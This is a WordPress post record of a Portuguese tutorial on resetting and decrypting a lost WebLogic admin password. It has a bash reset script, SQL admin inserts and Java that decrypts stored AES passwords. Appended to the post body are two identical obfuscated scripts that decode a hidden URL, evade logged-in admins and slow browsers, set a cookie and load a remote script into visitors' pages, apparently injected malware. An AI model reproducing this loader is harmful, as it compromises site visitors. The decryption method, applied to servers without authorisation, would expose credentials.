{"id":274,"date":"2010-09-17T14:03:40","date_gmt":"2010-09-17T17:03:40","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=274"},"modified":"2025-10-26T22:43:56","modified_gmt":"2025-10-27T01:43:56","slug":"recuperar-senha-do-weblogic","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/17\/recuperar-senha-do-weblogic\/","title":{"rendered":"Recuperar senha do Weblogic"},"content":{"rendered":"<p style=\"text-align: justify;\">Tive um problema com a senha do Weblogic e resolvi criar solu\u00e7\u00f5es para resetar a senha. O inconveniente \u00e9 que n\u00e3o recuperamos a senha e sim apagamos e criamos ela novamente. E se quisermos recuperar? Primeiro vamos \u00e0 solu\u00e7\u00e3o de apagar a senha, ap\u00f3s isso veremos como recuperar a senha sem a necessidade de apag\u00e1-la - ideal e menos trabalhoso.<\/p>\n<p style=\"text-align: justify;\">Existem v\u00e1rios \"how-to\" na internet para resetar a senha do Weblogic, mas para facilitar criei um bash script.<\/p>\n<p style=\"text-align: justify;\">Esse script s\u00f3 funciona para servers que utilizem o DefaultAuthenticator.<\/p>\n<p style=\"text-align: justify;\">Segue abaixo o c\u00f3digo dele:<\/p>\n<p>[cc lang=\"bash\"]<br \/>\n#!\/bin\/sh<\/p>\n<p># Author: Thiago Galbiatti Vespa<br \/>\n# 09\/17\/2010 <\/p>\n<p>## Please configure this variables<br \/>\nWL_HOME=\"\/home\/thiago\/Oracle\/Middleware\/wlserver_10.3\/server\/bin\"<br \/>\nDOMAIN_HOME=\"\/home\/thiago\/Oracle\/Middleware\/user_projects\/domains\/sample_domain\"<br \/>\nADMIN_SERVER_NAME=\"AdminServer\"<br \/>\nBACKUP_HOME=\"\/home\/thiago\/domainBckp\"<br \/>\n### End<\/p>\n<p>NEW_USERNAME=\"$1\"<br \/>\nNEW_PASSWORD=\"$2\"<\/p>\n<p>if [ -z $1 ]  ; then<br \/>\n        echo \"Please inform the new username!\";<br \/>\n        exit 1;<br \/>\nfi<br \/>\nif [ -z $2 ]  ; then<br \/>\n        echo \"Please inform the new password!\";<br \/>\n        exit 1;<br \/>\nfi<\/p>\n<p>NOW=`date +%y%m%d%H%m`<\/p>\n<p># Backup the domain<br \/>\ntar cvzf ${BACKUP_HOME}\/${ADMIN_SERVER_NAME}-${NOW}.tar.gz ${DOMAIN_HOME}<\/p>\n<p># Weblogic enviroment<br \/>\n. ${WL_HOME}\/setWLSEnv.sh<\/p>\n<p># New DefaultAuthenticatorInit.ldift<br \/>\njava weblogic.security.utils.AdminAccount ${NEW_USERNAME} ${NEW_PASSWORD} .<\/p>\n<p># Move DefaultAuthenticatorInit.ldift to security dir<br \/>\nmv DefaultAuthenticatorInit.ldift ${DOMAIN_HOME}\/security\/DefaultAuthenticatorInit.ldift<\/p>\n<p># Replace the old boot.properties<br \/>\necho \"username=$1\" > ${DOMAIN_HOME}\/servers\/${ADMIN_SERVER_NAME}\/security\/boot.properties<br \/>\necho \"password=$2\" >> ${DOMAIN_HOME}\/servers\/${ADMIN_SERVER_NAME}\/security\/boot.properties<\/p>\n<p># This folder will be recreated<br \/>\nrm -rf ${DOMAIN_HOME}\/servers\/${ADMIN_SERVER_NAME}\/data\/ldap\/<br \/>\n[\/cc]<\/p>\n<p style=\"text-align: justify;\">Para o Weblogic Portal que utiliza o SQLAutenticator como padr\u00e3o, basta alterar na tabela de usu\u00e1rios e grupos, utilizando o c\u00f3digo abaixo.<\/p>\n<p>[cc lang=\"sql\"]<br \/>\nINSERT INTO USERS (U_NAME, U_PASSWORD, U_DESCRIPTION) values ('portaladmin', '{SHA-1}lkBtwhsv3pYGt25u4h8\/vG\/HsCA=', 'Admin for portal domain')<\/p>\n<p>INSERT INTO GROUPMEMBERS (G_NAME, G_MEMBER) values ('Administrators', 'portaladmin');<\/p>\n<p>INSERT INTO GROUPMEMBERS (G_NAME, G_MEMBER) values ('PortalSystemAdministrators', 'portaladmin');[\/cc]<\/p>\n<p style=\"text-align: justify;\">Achei tamb\u00e9m alguns c\u00f3digos que prometem recuperar a senha do Weblogic, o problema \u00e9 que ele s\u00f3 funciona com 3DES e n\u00e3o com AES. Que \u00e9 a criptografia que est\u00e1 sendo utilizada pelo meu Weblogic 10.3.2.<\/p>\n<p style=\"text-align: justify;\">Fun\u00e7ando um pouco nas classes do Weblogic achei algumas respons\u00e1veis pela criptografia. Deu um bom trabalho para descobrir como o Weblogic fazia, pois envolve criptografia AES e classes internas do Weblogic, mas foi a melhor pro meu caso e agora \u00e9 bem simples de se executar. Basta passar o servi\u00e7o de criptografia do Weblogic e mandar descriptografar :D.<\/p>\n<p>[cc lang=\"java\"]<br \/>\nEncryptionService es=SerializedSystemIni.getEncryptionService(secFolder);<br \/>\nClearOrEncryptedService ces= new ClearOrEncryptedService(es);<br \/>\nSystem.out.println(ces.decrypt(pass));<br \/>\n[\/cc]<\/p>\n<p style=\"text-align: justify;\">Pronto! Estou <a title=\"Utilit\u00e1rio de recuperar senha\" href=\"http:\/\/www.thiagovespa.com.br\/apps\/weblogic\/thiagovespa-weblogic-utils.jar\" target=\"_blank\" rel=\"noopener\">disponibilizando<\/a> tamb\u00e9m essa classe pra quem s\u00f3 quiser executar. O comando para executar \u00e9 o seguinte:<\/p>\n<p>[cc lang=\"bash\"]java -cp ${WL_HOME}\/wlserver_10.3\/server\/lib\/weblogic.jar:thiagovespa-weblogic-utils.jar  br.com.thiagovespa.weblogic.util.RecoverLostPass ${DOMAIN_HOME}\/security ${SENHA}[\/cc]<\/p>\n<p>por exemplo:<\/p>\n<p>[cc lang=\"bash\"]java -cp \/home\/thiago\/Oracle10.3.2\/Middleware\/wlserver_10.3\/server\/lib\/weblogic.jar:thiagovespa-weblogic-utils.jar br.com.thiagovespa.weblogic.util.RecoverLostPass \/home\/thiago\/Oracle10.3.2\/Middleware\/user_projects\/domains\/as_domain\/security {AES}kox\/gGlyD4HZ7iAUEONYD0AQBJZaI88USMYbFxbwc7c=[\/cc]<\/p>\n<p style=\"text-align: justify;\">E o dado descriptografado ir\u00e1 aparecer no console! Funciona em Windows tamb\u00e9m :).<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tive um problema com a senha do Weblogic e resolvi criar solu\u00e7\u00f5es para resetar a senha. O inconveniente \u00e9 que n\u00e3o recuperamos a senha e sim apagamos e criamos ela novamente. E se quisermos recuperar? Primeiro vamos \u00e0 solu\u00e7\u00e3o de <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/17\/recuperar-senha-do-weblogic\/\">Continue lendo  <span class=\"screen-reader-text\">  Recuperar senha do Weblogic<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10,9,6],"tags":[],"class_list":["post-274","post","type-post","status-publish","format-standard","hentry","category-java","category-jee","category-oracle","category-weblogic"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/274","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=274"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/274\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=274"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=274"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=274"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}